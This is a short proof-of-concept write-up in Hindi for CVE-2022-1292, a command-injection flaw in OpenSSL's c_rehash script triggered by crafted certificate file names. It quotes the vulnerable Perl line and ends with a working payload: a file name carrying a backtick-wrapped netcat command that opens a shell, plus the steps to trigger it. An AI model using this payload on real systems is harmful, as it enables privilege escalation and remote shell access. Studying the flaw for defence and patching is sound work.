
CVE-2022-1292 OpenSSL c_rehash भेद्यता - POC

c_rehash स्क्रिप्ट कमांड इंजेक्शन को रोकने के लिए शेल मेटाकैरेक्टरों को ठीक से सैनिटाइज़ नहीं करती है।
यह स्क्रिप्ट कुछ ऑपरेटिंग सिस्टम द्वारा इस प्रकार वितरित की जाती है कि यह स्वचालित रूप से निष्पादित होती है।
ऐसे ऑपरेटिंग सिस्टम पर, एक हमलावर स्क्रिप्ट के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित कर सकता है।
c_rehash स्क्रिप्ट का उपयोग अप्रचलित माना जाता है और इसे OpenSSL rehash कमांड लाइन टूल द्वारा प्रतिस्थापित किया जाना चाहिए।
यह स्क्रिप्ट update-ca-certificates द्वारा, ca-certificates से,
/etc/ssl/certs/ में प्रमाणपत्रों को re-hash करने के लिए निष्पादित की जाती है। एक हमलावर
इस निर्देशिका में फ़ाइलें रखने में सक्षम होकर स्क्रिप्ट के विशेषाधिकारों के साथ
मनमाने कमांड निष्पादित कर सकता है।
कमांड इंजेक्शन इसलिए होता है क्योंकि फ़ाइलनाम ठीक से सैनिटाइज़ नहीं किए जाते:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;स्क्रिप्ट का यह भाग असुरक्षित है, क्योंकि बैकटिक्स को बंद करने से कमांड निष्पादन संभव हो जाता है। उदाहरण के लिए, एक फ़ाइल जिसका नाम MyCert.crt`whoami` है, "whoami" चलाएगी।
/etc/ssl/certs/ (डिफ़ॉल्ट) या update-ca-certificates में कॉन्फ़िगर किए गए अन्य पथों पर जाएँecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (पेलोड उदाहरण के रूप में nc)c_rehash . से मैन्युअल रूप से ट्रिगर कर सकते हैं।